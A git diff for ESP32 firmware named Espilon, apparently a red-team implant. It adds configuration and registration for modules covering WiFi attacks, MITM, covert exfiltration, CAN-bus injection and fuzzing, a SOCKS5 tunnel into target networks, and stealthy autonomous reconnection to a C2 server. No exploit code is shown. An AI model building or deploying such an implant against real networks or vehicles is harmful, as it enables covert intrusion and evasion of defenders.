Autonomous network recovery module. Auto-triggers on C2 loss.
|
||||
WiFi mode: hunts for networks, tries known WiFi, open WiFi, captive bypass.
|
||||
GPRS mode: restarts modem, tries WiFi fallback if enabled.
|
||||
Fully autonomous, no C2 commands needed.
|
||||
|
||||
config MODULE_REDTEAM
|
||||
bool "Red Team - Offensive Operations"
|
||||
default n
|
||||
depends on NETWORK_WIFI
|
||||
help
|
||||
Offensive red team capabilities: WiFi attacks,
|
||||
network MITM, covert exfiltration, implant management.
|
||||
|
||||
config MODULE_CANBUS
|
||||
bool "CAN Bus Module (MCP2515)"
|
||||
default n
|
||||
help
|
||||
CAN bus via MCP2515 SPI controller: sniff, inject, UDS, OBD-II, fuzzing.
|
||||
Requires MCP2515 module with TJA1050 transceiver.
|
||||
|
||||
config MODULE_TUNNEL
|
||||
bool "SOCKS5 Tunnel Proxy"
|
||||
default n
|
||||
depends on MODULE_NETWORK
|
||||
help
|
||||
Multiplexed SOCKS5 tunnel proxy. Connects to C3PO tunnel
|
||||
server and allows concurrent TCP connections through the
|
||||
ESP32 to the target network. Use with proxychains/nmap/curl.
|
||||
|
||||
config ESPILON_OTA_ENABLED
|
||||
bool "OTA Updates"
|
||||
default y
|
||||
help
|
||||
Enable over-the-air firmware updates.
|
||||
|
||||
config ESPILON_OTA_ALLOW_HTTP
|
||||
bool "Allow OTA over plain HTTP (insecure)"
|
||||
default n
|
||||
depends on ESPILON_OTA_ENABLED
|
||||
help
|
||||
Allow firmware downloads over HTTP in addition to HTTPS.
|
||||
WARNING: No TLS verification, use only on trusted networks.
|
||||
|
||||
endmenu
|
||||
|
||||
################################################
|
||||
# Tunnel Module Settings
|
||||
################################################
|
||||
menu "Tunnel Settings"
|
||||
depends on MODULE_TUNNEL
|
||||
|
||||
config TUNNEL_MAX_CHANNELS
|
||||
int "Maximum concurrent channels"
|
||||
default 8
|
||||
range 4 16
|
||||
help
|
||||
Maximum number of simultaneous TCP connections through
|
||||
the tunnel. Each channel uses ~1.2 KB of lwIP memory.
|
||||
|
||||
config TUNNEL_FRAME_MAX
|
||||
int "Maximum frame data size"
|
||||
default 4096
|
||||
range 1024 8192
|
||||
help
|
||||
Maximum payload per frame. Larger = better throughput,
|
||||
but uses more stack/heap memory.
|
||||
|
||||
config TUNNEL_ENCRYPT
|
||||
bool "Per-frame AEAD encryption"
|
||||
default n
|
||||
help
|
||||
Encrypt each tunnel frame with ChaCha20-Poly1305.
|
||||
Adds 28 bytes overhead per frame. Recommended when
|
||||
the tunnel crosses untrusted networks.
|
||||
|
||||
config TUNNEL_TASK_STACK
|
||||
int "Tunnel task stack size"
|
||||
default 6144
|
||||
range 4096 8192
|
||||
|
||||
endmenu
|
||||
|
||||
################################################
|
||||
# CAN Bus Module Settings
|
||||
################################################
|
||||
menu "CAN Bus Settings"
|
||||
depends on MODULE_CANBUS
|
||||
|
||||
config CANBUS_SPI_HOST
|
||||
int "SPI host (2=HSPI, 3=VSPI)"
|
||||
default 3
|
||||
range 2 3
|
||||
|
||||
config CANBUS_PIN_MOSI
|
||||
int "SPI MOSI GPIO"
|
||||
default 23
|
||||
|
||||
config CANBUS_PIN_MISO
|
||||
int "SPI MISO GPIO"
|
||||
default 19
|
||||
|
||||
config CANBUS_PIN_SCK
|
||||
int "SPI SCK GPIO"
|
||||
default 18
|
||||
|
||||
config CANBUS_PIN_CS
|
||||
int "SPI CS (chip select) GPIO"
|
||||
default 5
|
||||
|
||||
config CANBUS_PIN_INT
|
||||
int "MCP2515 INT (interrupt) GPIO"
|
||||
default 4
|
||||
|
||||
config CANBUS_OSC_MHZ
|
||||
int "MCP2515 oscillator frequency (MHz)"
|
||||
default 8
|
||||
help
|
||||
Most cheap modules use 8MHz. Some use 16MHz.
|
||||
Check the crystal on your module.
|
||||
|
||||
config CANBUS_DEFAULT_BITRATE
|
||||
int "Default CAN bitrate (bps)"
|
||||
default 500000
|
||||
help
|
||||
Standard automotive: 500000. Trucks (J1939): 250000.
|
||||
|
||||
config CANBUS_SPI_CLOCK_HZ
|
||||
int "SPI clock speed (Hz)"
|
||||
default 10000000
|
||||
help
|
||||
MCP2515 supports up to 10MHz SPI clock.
|
||||
|
||||
config CANBUS_RECORD_BUFFER
|
||||
int "Record buffer size (frames)"
|
||||
default 512
|
||||
range 64 2048
|
||||
|
||||
config CANBUS_ISO_TP
|
||||
bool "Enable ISO-TP transport layer"
|
||||
default y
|
||||
help
|
||||
Required for UDS and OBD-II (multi-frame messages > 8 bytes).
|
||||
|
||||
config CANBUS_UDS
|
||||
bool "Enable UDS diagnostic services"
|
||||
default y
|
||||
depends on CANBUS_ISO_TP
|
||||
|
||||
config CANBUS_OBD
|
||||
bool "Enable OBD-II PID decoder"
|
||||
default y
|
||||
depends on CANBUS_ISO_TP
|
||||
|
||||
config CANBUS_FUZZ
|
||||
bool "Enable CAN fuzzing engine"
|
||||
default y
|
||||
|
||||
endmenu
|
||||
|
||||
################################################
|
||||
# Fallback Module Settings
|
||||
################################################
|
||||
menu "Fallback Module Settings"
|
||||
depends on MODULE_FALLBACK
|
||||
|
||||
config FB_AUTO_HUNT
|
||||
bool "Auto-activate on C2 connection loss"
|
||||
default y
|
||||
help
|
||||
Start C2 failover after FB_TCP_FAIL_THRESHOLD consecutive
|
||||
TCP failures, then trigger full network hunt if all C2
|
||||
fallback addresses are unreachable.
|
||||
|
||||
config FB_STEALTH
|
||||
bool "Enable stealth features (MAC random, low TX, passive scan)"
|
||||
default y
|
||||
|
||||
config FB_MAX_KNOWN_NETWORKS
|
||||
int "Max known networks in NVS"
|
||||
default 16
|
||||
range 4 32
|
||||
|
||||
config FB_MAX_C2_FALLBACKS
|
||||
int "Max C2 fallback addresses"
|
||||
default 4
|
||||
range 1 8
|
||||
|
||||
config FB_TCP_FAIL_THRESHOLD
|
||||
int "TCP failures before C2 failover"
|
||||
default 10
|
||||
range 3 30
|
||||
help
|
||||
Consecutive TCP connect failures before trying C2 fallback
|
||||
addresses, then triggering full network hunt.
|
||||
|
||||
config FB_WIFI_FAIL_THRESHOLD
|
||||
int "WiFi reconnect failures before hunt"
|
||||
default 10
|
||||
range 3 20
|
||||
depends on NETWORK_WIFI
|
||||
help
|
||||
WiFi reconnect failures in the event handler before
|
||||
auto-triggering the fallback hunt.
|
||||
|
||||
config FB_GPRS_FALLBACK
|
||||
bool "GPRS fallback (cellular backup for WiFi mode)"
|
||||
default n
|
||||
depends on NETWORK_WIFI
|
||||
help
|
||||
Last resort when all WiFi strategies fail: init SIM800
|
||||
modem and connect to C2 via GPRS.
|
||||
|
||||
config FB_WIFI_FALLBACK
|
||||
bool "WiFi fallback (WiFi backup for GPRS mode)"
|
||||
default n
|
||||
depends on NETWORK_GPRS
|
||||
help
|
||||
When GPRS modem is dead, init WiFi and hunt for networks.
|
||||
|
||||
config FB_GPRS_FAIL_THRESHOLD
|
||||
int "GPRS modem failures before WiFi fallback"
|
||||
default 5
|
||||
range 2 10
|
||||
depends on FB_WIFI_FALLBACK
|
||||
help
|
||||
Consecutive GPRS connection failures before triggering
|
||||
WiFi fallback hunt.
|
||||
|
||||
endmenu
|
||||
|
||||
################################################
|
||||
@ -136,6 +421,15 @@ config CRYPTO_FCTRY_KEY
|
||||
help
|
||||
NVS key name for the 32-byte master key blob in the factory partition.
|
||||
|
||||
config C2_VERIFY_SERVER
|
||||
bool "Verify C2 server identity on connect"
|
||||
default y
|
||||
depends on NETWORK_WIFI
|
||||
help
|
||||
Performs a challenge-response handshake after TCP connect
|
||||
to verify the server possesses the shared encryption key.
|
||||
Protects against MITM attacks without requiring TLS.
|
||||
|
||||
endmenu
|
||||
|
||||
################################################
|
||||
|
||||
@ -9,7 +9,6 @@
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "utils.h"
|
||||
#include "command.h"
|
||||
#include "cmd_system.h"
|
||||
|
||||
/* Module headers */
|
||||
@ -25,6 +24,26 @@
|
||||
#include "cmd_recon.h"
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
#include "cmd_honeypot.h"
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
#include "cmd_fallback.h"
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_MODULE_REDTEAM
|
||||
#include "cmd_redteam.h"
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_MODULE_CANBUS
|
||||
#include "cmd_canbus.h"
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_ESPILON_OTA_ENABLED
|
||||
#include "cmd_ota.h"
|
||||
#endif
|
||||
|
||||
static const char *TAG = "MAIN";
|
||||
|
||||
static esp_log_level_t espilon_log_level_from_kconfig(void)
|
||||
@ -105,6 +124,31 @@ void app_main(void)
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
mod_honeypot_register_commands();
|
||||
ESPILON_LOGI_PURPLE(TAG, "Honeypot module loaded");
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
mod_fallback_register_commands();
|
||||
ESPILON_LOGI_PURPLE(TAG, "Fallback module loaded");
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_MODULE_REDTEAM
|
||||
mod_redteam_register_commands();
|
||||
ESPILON_LOGI_PURPLE(TAG, "Red Team module loaded");
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_MODULE_CANBUS
|
||||
mod_canbus_register_commands();
|
||||
ESPILON_LOGI_PURPLE(TAG, "CAN Bus module loaded");
|
||||
#endif
|
||||
|
||||
#ifdef CONFIG_ESPILON_OTA_ENABLED
|
||||
mod_ota_register_commands();
|
||||
ESPILON_LOGI_PURPLE(TAG, "OTA module loaded");
|
||||
#endif
|
||||
|
||||
command_log_registry_summary();
|
||||
|
||||
/* =====================================================
|
||||
|
||||
Loading…
Reference in New Issue
Block a user